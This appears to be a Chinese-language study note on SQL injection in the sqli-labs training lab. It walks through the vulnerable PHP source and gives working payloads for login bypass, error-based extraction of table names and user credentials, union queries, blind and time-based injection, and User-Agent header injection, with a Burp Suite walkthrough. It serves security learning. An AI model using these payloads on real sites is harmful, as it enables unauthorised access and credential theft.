2026-07-10
Mysql注入
00
请注意,本文编写于 127 天前,最后修改于 120 天前,其中某些信息可能已经过时。

目录

一、源码关键差异(GET vs POST)
二、源码逐行分析(Less-11)
三、POST 注入的核心技巧
3.1 万能密码原理
3.2 单引号 vs 双引号闭合
四、POST 注入 Payload
4.1 万能密码(登录绕过)
4.2 报错注入爆数据
五、GET vs POST 注入对比
六、Burp Suite 操作 POST 注入
步骤1:抓包
步骤2:发送到 Repeater
步骤3:修改 POST 数据
步骤4:点击 Send
七、记忆口诀
SQL 注入手法选择总结
一、四种手法核心特征
二、结合源码的完整对照
2.1 联合查询(Less-1/2/3/4)
2.2 报错注入(Less-5/6/11/17/18)
Less-5(GET 报错注入)
Less-11(POST 报错注入)
Less-17(UPDATE 报错注入)
Less-18(Header 报错注入)
2.3 布尔盲注(Less-8)
2.4 时间盲注(Less-9)
三、决策流程图(文字版)
四、源码过滤情况对照
五、记忆口诀

POST注入原理,差异以及手法,和判断什么时候应该使用什么注入手法


一、源码关键差异(GET vs POST)

php
// Less-1(GET) $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // Less-11(POST) $uname=$_POST['uname']; $passwd=$_POST['passwd']; @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
差异Less-1Less-11
数据来源$_GET['id']$_POST['uname']、$_POST['passwd']
SQL 结构WHERE id='$id'WHERE username='$uname' and password='$passwd'
注入点URL 参数表单字段
闭合方式单引号 '单引号 '(Less-11)/ 双引号 "(Less-12)

二、源码逐行分析(Less-11)

php
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0);

第1-3行:引入数据库连接,关闭 PHP 错误报告。

php
if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd'];

第5-8行:从 POST 请求体获取 uname 和 passwd,没有任何过滤。

php
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

第14行:核心漏洞! 两个变量都被单引号包裹,直接拼进 SQL。

注意 SQL 结构:

sql
WHERE username='$uname' and password='$passwd'

这里有 两个条件用 and 连接,注入时需要让整体条件为真。

php
$result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; } else { print_r(mysql_error()); // ← 有报错信息! }

第16-31行:查到数据显示用户名密码,查不到显示 MySQL 报错信息 → 可以用 报错注入。


三、POST 注入的核心技巧

3.1 万能密码原理

正常登录:

sql
SELECT * FROM users WHERE username='admin' and password='123456'

注入后:

sql
SELECT * FROM users WHERE username='admin' or 1=1 #' and password='anything' -- ↑ 条件永远为真 -- # 注释掉后面

3.2 单引号 vs 双引号闭合

关卡源码特征闭合方式
Less-11username='$uname'单引号 '
Less-12username="$uname"双引号 "

判断方法:

  • 输入 admin' → 报错 → 单引号字符型
  • 输入 admin" → 报错 → 双引号字符型

四、POST 注入 Payload

4.1 万能密码(登录绕过)

Less-11(单引号):

http
uname=admin' or 1=1 #&passwd=anything&submit=Submit

图片.png Less-12(双引号):

http
uname=admin" or 1=1 #&passwd=anything&submit=Submit

4.2 报错注入爆数据

http
# 爆库名 uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=anything # 爆表名 uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #&passwd=anything # 爆数据 uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) #&passwd=anything

五、GET vs POST 注入对比

对比项GET 注入(Less-1)POST 注入(Less-11)
数据位置URL 地址栏HTTP 请求体
查看方式浏览器地址栏直接看到需要抓包工具(Burp)
特殊字符处理# 被截断,用 --+ 或 %23# 正常发送,直接用 #
注释符推荐--+#
测试工具浏览器直接改 URLBurp Suite、HackBar
源码获取$_GET['id']$_POST['uname']

六、Burp Suite 操作 POST 注入

步骤1:抓包

浏览器输入用户名密码 → 点击 Submit → Burp 拦截请求。

步骤2:发送到 Repeater

右键 → Send to Repeater

步骤3:修改 POST 数据

http
POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin' or 1=1 #&passwd=anything&submit=Submit

步骤4:点击 Send

看 Response 是否显示登录成功和 flag 图片。


七、记忆口诀

POST 注入表单填,Burp 抓包看请求体 单引号双引号要判断,万能密码 or 1=1 # 注释最方便,不用考虑空格问题 报错注入 updatexml,数据藏在错误里


SQL 注入手法选择总结

一、四种手法核心特征

手法核心依赖速度适用场景
联合查询页面有回显位(显示查询结果)快能直接看到数据
报错注入页面有报错信息(mysql_error())快无回显但有报错
布尔盲注页面有真假两种状态慢无回显无报错,但真假不同
时间盲注页面永远一样,只能看响应时间极慢无回显无报错,真假也相同

二、结合源码的完整对照

2.1 联合查询(Less-1/2/3/4)

源码特征:

php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); echo 'Your Login name:'. $row['username']; // ← 回显位! echo 'Your Password:' .$row['password']; // ← 回显位!

只能用联合查询的原因:

  • echo $row['username'] 直接把查询结果显示出来
  • 有回显位 → union select 可以直接拼接数据到页面

Payload:

sql
?id=-1' union select 1,database(),version() --+

2.2 报错注入(Less-5/6/11/17/18)

Less-5(GET 报错注入)

源码特征:

php
if($row) { echo 'You are in...........'; // ← 只显示固定文字,不显示具体数据 } else { print_r(mysql_error()); // ← 有报错信息! }

只能用报错注入的原因:

  • 查到数据时不显示具体内容 → 联合查询没用
  • 查不到时显示 mysql_error() → 可以用报错函数把数据藏在错误里

Payload:

sql
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-11(POST 报错注入)

源码特征:

php
$uname=$_POST['uname']; // ← 无过滤 $passwd=$_POST['passwd']; // ← 无过滤 if($row) { echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; } else { print_r(mysql_error()); // ← 有报错! }

可以用多种手法:

  • 有回显位 → 联合查询
  • 有报错 → 报错注入
  • 无过滤 → 万能密码

Less-17(UPDATE 报错注入)

源码特征:

php
$uname=check_input($_POST['uname']); // ← 被过滤! $passwd=$_POST['passwd']; // ← 没过滤! $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); if (mysql_error()) { print_r(mysql_error()); // ← 有报错! }

只能用报错注入的原因:

  • uname 被过滤,注入点在 passwd
  • passwd 拼进 UPDATE 语句,不是 SELECT
  • UPDATE 没有结果集 → 联合查询不行
  • UPDATE 的条件判断无法带出数据 → 布尔盲注不行
  • 有 mysql_error() → 只能用报错注入
  • check_input() 做了三件事:
substr($value,0,15) → 截断到15字符
mysql_real_escape_string($value) → 转义单引号
加引号包裹 → ' + 转义后的值 + '

Payload:

http
uname=admin&passwd=' and updatexml(1,concat(0x7e,database(),0x7e),1) #&submit=Submit

Less-18(Header 报错注入)

源码特征:

php
$uname = check_input($_POST['uname']); // ← 过滤! $passwd = check_input($_POST['passwd']); // ← 过滤! $uagent = $_SERVER['HTTP_USER_AGENT']; // ← 无过滤! $IP = $_SERVER['REMOTE_ADDR']; $insert="INSERT INTO uagents VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); print_r(mysql_error()); // ← 有报错!

只能用 Header 注入的原因:

  • uname 和 passwd 被 check_input() 过滤死了
  • HTTP_USER_AGENT 头完全没有过滤
  • 拼进 INSERT 语句,有 mysql_error() 报错

Payload(修改 User-Agent 头):

http
User-Agent: ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

2.3 布尔盲注(Less-8)

源码特征:

php
if($row) { echo 'You are in...........'; // ← 真状态 } else { echo ""; // ← 假状态(空白!) }

只能用布尔盲注的原因:

  • 无回显位(不显示具体数据)
  • 无报错信息(mysql_error() 被注释掉了)
  • 但真假页面不同(有文字 vs 空白)
  • 通过页面状态变化判断条件真假

Payload:

sql
?id=1' and ascii(substr(database(),1,1))=115 --+

2.4 时间盲注(Less-9)

源码特征:

php
if($row) { echo 'You are in...........'; } else { echo 'You are in...........'; // ← 和 if 分支完全一样! }

只能用时间盲注的原因:

  • 无回显位
  • 无报错信息
  • 真假页面完全相同(都是 You are in...)
  • 唯一判断依据:响应时间

Payload:

sql
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) --+

三、决策流程图(文字版)

发现注入点 ↓ 页面是否有回显位?(能否直接看到查询结果) ├── YES → 联合查询(Less-1/2/3/4/11) └── NO ↓ 页面是否有报错信息?(mysql_error()) ├── YES → 报错注入(Less-5/6/11/17/18) │ └── 注意:UPDATE/INSERT 只能用报错注入 └── NO ↓ 真假页面是否不同? ├── YES → 布尔盲注(Less-8/15/16) └── NO → 时间盲注(Less-9/10)

四、源码过滤情况对照

关卡过滤情况注入点可用手法
Less-1~4无过滤id联合查询
Less-5~6无过滤id报错注入
Less-8无过滤id布尔盲注
Less-9~10无过滤id时间盲注
Less-11~12无过滤uname/passwd万能密码 / 联合查询 / 报错注入
Less-13~14无过滤uname/passwdfloor() 报错注入
Less-15~16无过滤uname/passwd布尔盲注
Less-17uname 过滤,passwd 无过滤passwd只能报错注入(UPDATE 语句)
Less-18uname/passwd 过滤User-Agent只能 Header 报错注入
Less-19uname/passwd 过滤Referer只能 Header 报错注入
Less-20~22uname/passwd 过滤Cookie只能 Cookie 注入

五、记忆口诀

有回显 → union select 直接看 有报错 → updatexml 把数据藏错误里 真假不同 → 布尔盲注看页面 全一样 → 时间盲注看延迟 被过滤 → 找没过滤的点(Header/Cookie)